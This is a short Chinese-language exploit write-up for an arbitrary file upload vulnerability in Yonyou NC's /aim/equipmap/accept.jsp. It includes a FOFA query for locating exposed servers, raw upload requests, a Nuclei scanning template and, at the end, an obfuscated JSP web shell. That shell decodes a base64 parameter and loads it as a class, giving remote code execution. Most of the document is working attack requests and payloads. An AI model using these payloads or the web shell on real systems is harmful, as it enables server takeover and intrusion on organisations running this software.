用友N-accept.jsp文件上传漏洞

用友NC是大型企业管理与电子商务平台，帮助企业实现管理转型升级全面从以产品为中心转向以客户为中心（C2B）；从流程驱动转向数据驱动（DDE）；从延时运行转为实时运行（RTE）；从领导指挥到员工创新（E2M）。用友NC accept.jsp处存在任意文件上传漏洞，攻击者通过漏洞可以获取网站权限，导致服务器失陷。

# FOFa语法icon_hash="1085941792"

POST /aim/equipmap/accept.jsp HTTP/1.1Host:IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: *****************Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Length: 383
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Disposition: form-data; name="upload"; filename="flnb.txt"Content-Type: text/plain
<% out.println("flnb666"); %>-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Disposition: form-data; name="fname"
webappsnc_webflnb.jsp-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

id: yonyou-nc-accept-fileupload
info:  name: 用友NC accept.jsp任意文件上传漏洞  author: fl  severity: critical  description: |    用友NC是大型企业管理与电子商务平台，帮助企业实现管理转型升级全面从以产品为中心转向以客户为中心（C2B）；从流程驱动转向数据驱动（DDE）；从延时运行转为实时运行（RTE）；从领导指挥到员工创新（E2M）。用友NC accept.jsp处存在任意文件上传漏洞，攻击者通过漏洞可以获取网站权限，导致服务器失陷。  reference:    none  metadata:    verified: true    max-request: 2    fofa-query: icon_hash="1085941792"  tags: yonyou,nc,fileupload,2023
variables:  boundary: '{{rand_base(29)}}'
http:  - raw:      - |        POST /aim/equipmap/accept.jsp HTTP/1.1        Host: {{Hostname}}        Accept: */*        Content-Type: multipart/form-data; boundary=---------------------------{{boundary}}        Accept-Encoding: gzip
        -----------------------------{{boundary}}        Content-Disposition: form-data; name="upload"; filename="{{randstr_1}}.txt"        Content-Type: text/plain
        <% out.println("{{randstr_2}}"); %>        -----------------------------{{boundary}}        Content-Disposition: form-data; name="fname"
        webappsnc_web{{randstr_3}}.jsp        -----------------------------{{boundary}}--      - |        GET /{{randstr_3}}.jsp HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded        Accept-Encoding: gzip
    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200"          - "status_code_2 == 200 && contains(body_2,'{{randstr_2}}')"        condition: and

POST /aim/equipmap/accept.jsp HTTP/1.1Host: IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie:****************Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Length: 1211
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Disposition: form-data; name="upload"; filename="flnb.txt"Content-Type: text/plain
<%  String Hk462 = request.getParameter("chong");if (Hk462 != null) { class E893231a extends/*Zga2h2W117*/ClassLoader { E893231a(ClassLoader L2TMNL) { super(L2TMNL); } public Class Hk462(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class A2jW8 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) A2jW8.getMethod(k, String.class).invoke(A2jW8.newInstance(), Hk462);Class aClass = new E893231a(Thread.currentThread().getContextClassLoader()).Hk462(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYcContent-Disposition: form-data; name="fname"
webappsnc_webflnb.jsp-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--